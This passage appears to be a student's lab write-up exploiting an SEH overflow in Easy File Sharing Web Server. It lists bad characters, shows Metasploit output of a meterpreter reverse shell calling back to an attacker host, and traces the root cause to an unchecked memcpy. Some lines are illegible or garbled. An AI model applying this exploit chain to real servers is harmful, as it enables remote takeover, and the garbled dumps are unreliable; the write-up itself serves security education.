


Figure 4: Ran !py mona SEH to get SEH. Found one that the address is valid ASCII.



[illegible][illegible]

I kept doing the above and found that the following are all bad characters. The bad characters are: `\x20\x25\x2b\x2f\x5c`. When I built the byte array I initially excluded `\x00\x0a\x0d` as `x00` is null, `x0a` is line feed, and `x0d` is carriage return. So, in totality the bad chars are: `\x00\x0a\x0d\x20\x25\x2b\x2f\x5c`.



- Obtain a successful SEH overwrite.

**Figure 9: My shellcode meterpreter reverse\_tcp connection.**

```

Command
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010282
sqlite3!sqlite3_errcode+0x8e: dword ptr [eax+4Ch].0A029A697h ds:002b:e1777c3b+????????
61c277f6 81784c97a629a0 cmp dword ptr [eax+4Ch].0A029A697h ds:002b:e1777c3b+????????
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy File Sharing Web Server\fs.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy File Sharing Web Server\fs
0 000> g
ModLoad: 77010000 77120000 C:\Windows\system32\CRYPT32.dll
ModLoad: 76460000 7646c000 C:\Windows\system32\MSASNI.dll
ModLoad: 721f0000 72248000 C:\Windows\SysWOW64\WINHTTP.dll
ModLoad: 721a0000 721f0000 C:\Windows\SysWOW64\WEBIO.dll
ModLoad: 741c0000 741d2000 C:\Windows\SysWOW64\NFS.dll
ModLoad: 72180000 72191000 C:\Windows\SysWOW64\NETAPI32.dll
ModLoad: 72170000 72179000 C:\Windows\SysWOW64\NETUTILS.dll
ModLoad: 73de0000 73df9000 C:\Windows\SysWOW64\RPCRT4.dll
ModLoad: 72160000 7216f000 C:\Windows\SysWOW64\WSXSL.dll
ModLoad: 76aa0000 76aa5000 C:\Windows\system32\PSAPI.DLL
ModLoad: 73ad0000 73adb000 C:\Windows\SysWOW64\CSAPI.dll
ModLoad: 722e0000 722ed000 C:\Windows\SysWOW64\DHCPAPI.dll
ModLoad: 722c0000 722d2000 C:\Windows\SysWOW64\DHCPAPI.dll
ModLoad: 73ae0000 73af0000 C:\Windows\SysWOW64\APPHELP.dll
ModLoad: 4ae40000 4ae4c000 cmd.exe

```

Figure 11: Shellcode executed successfully!

```

[*] Using configured payload generic/shell_reverse_tcp
payload => windows/meterpreter/reverse_tcp
LHOST => 192.168.15.152
LPORT => 4444
[*] Started reverse TCP handler on 192.168.15.152:4444
[*] Sending stage (175174 bytes) to 192.168.15.151
[*] Meterpreter session 1 opened (192.168.15.152:4444 -> 192.168.15.151:49171) at 2022-03-28 03:20:32 -0400

meterpreter > shell
Process 1788 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32>

```

Figure 12: Shell on attacker box.

#### Task 4 (Optional - EC, 4 points):

- What is the cause of the vulnerability?
- Provide evidence.

Answer:

The initial crash happens in the sqlite3.dll and the value of EAX has Z's in it which the end of the buffer I sent so, we need to find how EAX got populated initially to find the source.

```

0:009> g
(d8c.2b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\EFS Software\Easy File Sharing Web Server\sqlite3.dll -
eax=5a5a5a5a ebx=00000001 ecx=ffffffff edx=04405fac esi=04405f84 edi=04405fac
eip=61c277f6 esp=04405f00 ebp=04405f18 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
sqlite3!sqlite3_errcode+0x8e:
61c277f6 81784c97a629a0 cmp     dword ptr [eax+4Ch].0A029A697h ds:002b:5a5a5aa6+????????
*** WARNING: Unable to verify checksum for C:\EFS Software\Easy File Sharing Web Server\fs.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\EFS Software\Easy File Sharing Web Server\fs.exe

```

Figure 13: Crash w/Z's in EAX

```

0:009> k
ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
04405f18 61c6286c sqlite3!sqlite3_errcode+0x8e
04405f58 004968f4 sqlite3!sqlite3_declare_vtab+0x3282
044075fc 00000000 fs+0x968f4
0:009> .ba

```

If you can figure out where EAX is getting filled, you can find where the issue is. You need to trace EAX back from the point of the crash to see how it's being populated. I set a breakpoint in IDA inside this sqlite3\_declare\_vtab function and I saw a SQL command with the buffer appended but it wasn't in EAX. The error is the sql statement, select \* from sqlltable where name = 'AAAAA...'

```

sqlite3.dll:61C62867 call    near ptr unk_61C277C6 ; Call Procedure
sqlite3.dll:61C6286C test    eax, eax ; Logical Compare
sqlite3.dll:61C6286E jz     short loc_61C62874 ; Jump if Zero (ZF=1)
sqlite3.dll:61C62870 test    edi, edi ; Logical Compare
sqlite3.dll:61C62872 jnz     short loc_61C628A2 ; Jump if Not Zero (ZF=0)
sqlite3.dll:61C62874 ;
sqlite3.dll:61C62874 loc_61C62874: ; CODE XREF: sqlite3.dll:sqlite3_sqlite3_declare_vtab+32841j
sqlite3.dll:61C62874 mov     dword ptr [esp+0Ch], offset a9d6c1880fb7566 ; "9d6c1880fb75660bbabd693175579529785f8a6"...
sqlite3.dll:61C6287C mov     dword ptr [esp+8], offset unk_19A9F
sqlite3.dll:61C62884 mov     dword ptr [esp+4], offset off_61C74360
sqlite3.dll:61C6288C mov     dword ptr [esp], 15h
sqlite3.dll:61C62893 call    near ptr sqlite3_sqlite3_lo
sqlite3.dll:61C62898 mov     edx, 15h
sqlite3.dll:61C6289D jmp     loc_61C62927
sqlite3.dll:61C628A2 ;
sqlite3.dll:61C628A2 loc_61C628A2:
sqlite3.dll:61C628A2 mov     eax, [ebx+0Ch]
sqlite3.dll:61C628A5 mov     [esp], eax
sqlite3.dll:61C628A8 call    near ptr sqlite3_sqlite3_mu
sqlite3.dll:61C628AD mov     eax, ebx

UNKNOWN:61C62867: sqlite3.dll:sqlite3_sqlite3_declare_vtab+327D (Synchronized with EIP)

```

Warning

61C277F6: The instruction at 0x61C277F6 referenced memory at 0x5A5A5AA

☐ Don't display this message again (for this session only)

x View-1

F50	6C	5F	C3	06	00	00	00	00	00	00	00	00	18	70	C3	06	1_Ä.....pÄ.
F60	00	00	00	00	67	77	49	00	00	84	5F	C3	06	00	00	00	....gwi..Ä....
F70	FF	FF	FF	FF	E8	71	C3	06	07	12	00	00	50	34	C8	02	yyyyëqÄ....P4E.
F80	00	34	C8	02	00	00	00	00	00	00	00	00	00	00	00	00	.4E.....
F90	00	48	C8	02	7E	65	6C	65	63	74	20	2A	20	66	72	6F	.K.E.select.*.fro
FA0	6D	20	73	71	6C	74	61	62	6C	65	20	77	68	65	72	65	m-sqltable-where
FB0	20	6E	61	6D	65	3D	27	41	41	41	41	41	41	41	41	41	.name='AAAAAAAAA
FC0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
FD0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
FE0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA

Figure 14: Crash location w/memdump showing contents of EAX which is the fuzz string.

Working backwards from the sqlite.dll location I was able to see a sprintf that contained the buffer in function sub\_497650. The string was already in here, so you need to keep working backwards to find the source.

```

.text:00497746 push    eax
.text:00497747 push    ecx
.text:00497748 push    offset aSelectFromSwhe ; "select * from %s where %s='%s'"
.text:0049774D push    edx ; Buffer
.text:0049774E call    _sprintf ; This has the string in it when it hits the sprintf.
.text:00497753 add     esp, 14h ; Add
.text:00497756 lea     ecx, [esp+1030h+Buffer] ; this is the input string appended to the sql command.
.text:0049775A lea     ecx, [esp+1030h+var_101C] ; Load Effective Address
.text:0049775E push    eax ; This is the string being pushed on the stack for the call to sub_4968D0.
.text:0049775F push    ecx
.text:00497760 mov     ecx, esi ; The Junk Z's are put here (ecx).
.text:00497762 call    sub_4968D0 ; Once it enters this function it crashes in the sqlite3_prepare_v2 function.
.text:00497767 add     esi, 4 ; Add
.text:0049776A mov     byte ptr [esp+1030h+var_4], 3
.text:00497774 mov     ecx, esi
.text:00497777 call    sub_496A20 ; Call Procedure
.text:00497779 mov     edx, [esp+1030h+var_101C]
.text:0049777D mov     eax, [esp+1030h+var_1010]
.text:00497781 mov     [esi], edx
.text:00497783 mov     ecx, esi
.text:00497785 mov     [esi+4], eax
.text:00497788 mov     byte ptr [esp+1030h+var_1018], b1
.text:0049778C call    sub_496A00 ; Call Procedure
.text:00497791 test     eax, eax ; Logical Compare
.text:00497793 pop     edi

0009774E 0049774E: sub_497650+FE (Synchronized with EIP)

```

x View-1

F50	55	2D	52	00	E4	75	E1	06	53	77	49	00	94	5F	E1	06	U-R.äüä.SwI."ä.
F60	3C	20	5A	00	50	34	96	02	84	5F	E1	06	94	5F	E1	06	<(Z.P4-..,ä..ä.
F70	FF	FF	FF	FF	E8	71	E1	06	07	12	00	00	50	34	96	02	yyyyëqä....P4-
F80	00	34	96	02	00	00	00	00	00	00	00	00	00	00	00	00	.4-.....
F90	00	48	96	02	7E	65	6C	65	63	74	20	2A	20	66	72	6F	.K..select.*.fro
FA0	6D	20	73	71	6C	74	61	62	6C	65	20	77	68	65	72	65	m-sqltable-where
FB0	20	6E	61	6D	65	3D	27	41	41	41	41	41	41	41	41	41	.name='AAAAAAAAA
FC0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
FD0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA
FE0	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	41	AAAAAAAAAAAAAAAA

Figure 15: sprintf w/string and contents of EAX shown.

I eventually located a memcpy function that is the source of our issue in function sub\_52DF03. This is the location where the fuzz string gets copied to memory and causes the overflow.

```

.text:0052DF5D loc_52DF5D: ; CODE XREF: sub_52DF03+4A1j
.text:0052DF5D mov     ecx, [ebp+arg_0] ; this
.text:0052DF60 push    eax ; Size
.text:0052DF61 push    esi ; Src
.text:0052DF62 push    eax ; int
.text:0052DF63 call    ?GetBufferSetLength@CString@@QAEPADH@Z ; This function will set the size of the dst pointer used in memcpy below.
.text:0052DF68 push    eax ; void *
EIP- .text:0052DF69 call    memcpy ; This is where the overflow occurs due to the dst pointer being too small to hold the buffer.

```

Figure 17: memcpy() issue where src is larger than dst pointer in sub\_52DF03.

```

char *BufferSetLength; // eax
size_t v12; // [esp-4h] [ebp-10h]

v4 = (const unsigned __int8 *)lpString;
if ( !lpString )
    return 0;
v5 = a3 - 1;
if ( a3 )
{
    while ( 1 )
    {
        v6 = _mbschr(v4, a4);
        if ( !v6 )
            break;
        v4 = v6 + 1;
        if ( !v5-- )
            goto LABEL_5;
    }
    CString::Empty(a1);
    return 0;
}
LABEL_5:
v8 = _mbschr(v4, a4);
if ( v8 )
    v9 = v8 - v4;
else
    v9 = strlenA((LPCSTR)v4);
v12 = v9;
BufferSetLength = CString::GetBufferSetLength(a1, v9);
memcpy_0(BufferSetLength, v4, v12);
return 1;

```

V6 = looks for '\\' in string  
V4 = v6 + 1 - moves to the first char after '\\'  
V8 - set to the next '\\' found in string  
Size\_t - unsigned int data type. 32bits/4bytes.  
strlenA((LPCSTR)v4) - gets the length of a constant string  
getbufferlength(a1, v9) - allocates space dynamically

Figure 16: Pseudocode of function sub\_52DF03

## Deliverable

- Provide your response in Word/PDF document with screenshots along with script.